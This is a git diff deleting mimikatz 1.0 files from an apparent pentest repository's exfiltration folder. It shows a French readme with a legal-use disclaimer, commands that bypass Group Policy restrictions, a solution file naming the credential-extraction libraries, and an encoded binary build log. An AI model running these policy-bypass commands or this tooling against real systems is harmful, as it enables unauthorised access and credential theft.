archive ne contient que les binaires pour les architectures x86 (Win32) et x64. Des extraits de différents codes source sont disponibles : http://blog.gentilkiwi.com/mimikatz -Cet utilitaire ne peut être utilisé qu'à des fins d'études, pentests et autres actions légales en accord avec la licence précisée ci-dessous. - -Plus globalement, merci de respecter la philosophie avec laquelle cet outil a été créé, c'est à dire en ne permettant pas son utilisation à des fins malveillantes. -Je ne serais en aucun cas responsable de l'utilisation qui serait faite de ces technologies. - -Binaires, codes source, dérivés et utilisations sous Licence : http://creativecommons.org/licenses/by/3.0/fr/ -Exception pour la librairie sekurlsa : http://creativecommons.org/licenses/by/3.0/fr/ -_____________________________________________________ -Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com/mimikatz -benjamin@gentilkiwi.com - - -anti-gpo standalone -=================== - -Ces outils ont étés remplacé par l'utilisation directe de mimikatz - -* KiwiRegedit - mimikatz nogpo::regedit exit - -* KiwiCmd - mimikatz nogpo::cmd exit - -* KiwiRegedit - mimikatz nogpo::taskmgr exit - - -outils incorporés -================= - -* psexec.exe - PsExec v1.98 - Execute processes remotely - Mark Russinovich (Sysinternals / Microsoft) - -* tee.exe - GNU shellutils 1.9.4 - http://unxutils.sourceforge.net/ - -* winmine.exe - Démineur de Windows XP - Robert Donner et Curt Johnson (Microsoft) \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz.sln b/Exfiltration/mimikatz-1.0/mimikatz.sln deleted file mode 100644 index aa46f44..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz.sln +++ /dev/null @@ -1,85 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimikatz", "mimikatz\mimikatz.vcxproj", "{2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kelloworld", "librairies\kelloworld\kelloworld.vcxproj", "{D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}" -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "librairies", "librairies", "{B17EB705-1C68-44FD-A82B-860C539219A8}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sekurlsa", "librairies\sekurlsa\sekurlsa.vcxproj", "{3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "klock", "librairies\klock\klock.vcxproj", "{6556249E-1C80-4047-A863-F608C8B8AC55}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kappfree", "kappfree\kappfree.vcxproj", "{E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}" -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{7999D050-6332-45F7-A343-C343902B1453}" - ProjectSection(SolutionItems) = preProject - lisezmoi.txt = lisezmoi.txt - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "En-têtes", "En-têtes", "{24371643-CEFE-4590-BB29-6141CB5E25D1}" - ProjectSection(SolutionItems) = preProject - commun\globdefs.h = commun\globdefs.h - commun\secpkg.h = commun\secpkg.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Icons", "Icons", "{80532836-DE52-40AD-B373-E4098BF52E1F}" - ProjectSection(SolutionItems) = preProject - commun\icons\cmd_32.ico = commun\icons\cmd_32.ico - commun\icons\cmd_48.ico = commun\icons\cmd_48.ico - commun\icons\cmd_kiwi.ico = commun\icons\cmd_kiwi.ico - commun\icons\mimikatz_bird.ico = commun\icons\mimikatz_bird.ico - commun\icons\mimikatz_fruit.ico = commun\icons\mimikatz_fruit.ico - commun\icons\mimikatz_fruit_16.ico = commun\icons\mimikatz_fruit_16.ico - commun\icons\regedit_32.ico = commun\icons\regedit_32.ico - commun\icons\regedit_48.ico = commun\icons\regedit_48.ico - commun\icons\regedit_kiwi.ico = commun\icons\regedit_kiwi.ico - commun\icons\taskmgr_32.ico = commun\icons\taskmgr_32.ico - commun\icons\taskmgr_48.ico = commun\icons\taskmgr_48.ico - commun\icons\taskmgr_kiwi.ico = commun\icons\taskmgr_kiwi.ico - EndProjectSection -EndProject -Global - GlobalSection(SubversionScc) = preSolution - Svn-Managed = True - Manager = AnkhSVN - Subversion Support for Visual Studio - EndGlobalSection - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Release|Win32 = Release|Win32 - Release|x64 = Release|x64 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.ActiveCfg = Release|Win32 - {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.Build.0 = Release|Win32 - {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.ActiveCfg = Release|x64 - {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.Build.0 = Release|x64 - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.ActiveCfg = Release|Win32 - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.Build.0 = Release|Win32 - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.ActiveCfg = Release|x64 - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.Build.0 = Release|x64 - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.ActiveCfg = Release|Win32 - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.Build.0 = Release|Win32 - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.ActiveCfg = Release|x64 - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.Build.0 = Release|x64 - {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.ActiveCfg = Release|Win32 - {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.Build.0 = Release|Win32 - {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.ActiveCfg = Release|x64 - {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.Build.0 = Release|x64 - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.ActiveCfg = Release|Win32 - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.Build.0 = Release|Win32 - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.ActiveCfg = Release|x64 - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.Build.0 = Release|x64 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(NestedProjects) = preSolution - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} = {B17EB705-1C68-44FD-A82B-860C539219A8} - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} = {B17EB705-1C68-44FD-A82B-860C539219A8} - {6556249E-1C80-4047-A863-F608C8B8AC55} = {B17EB705-1C68-44FD-A82B-860C539219A8} - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} = {B17EB705-1C68-44FD-A82B-860C539219A8} - {24371643-CEFE-4590-BB29-6141CB5E25D1} = {7999D050-6332-45F7-A343-C343902B1453} - {80532836-DE52-40AD-B373-E4098BF52E1F} = {7999D050-6332-45F7-A343-C343902B1453} - EndGlobalSection -EndGlobal diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog deleted file mode 100644 index ce3b7c56ff0922e303f89a16f5f5f080c17b5f32..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1366714 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 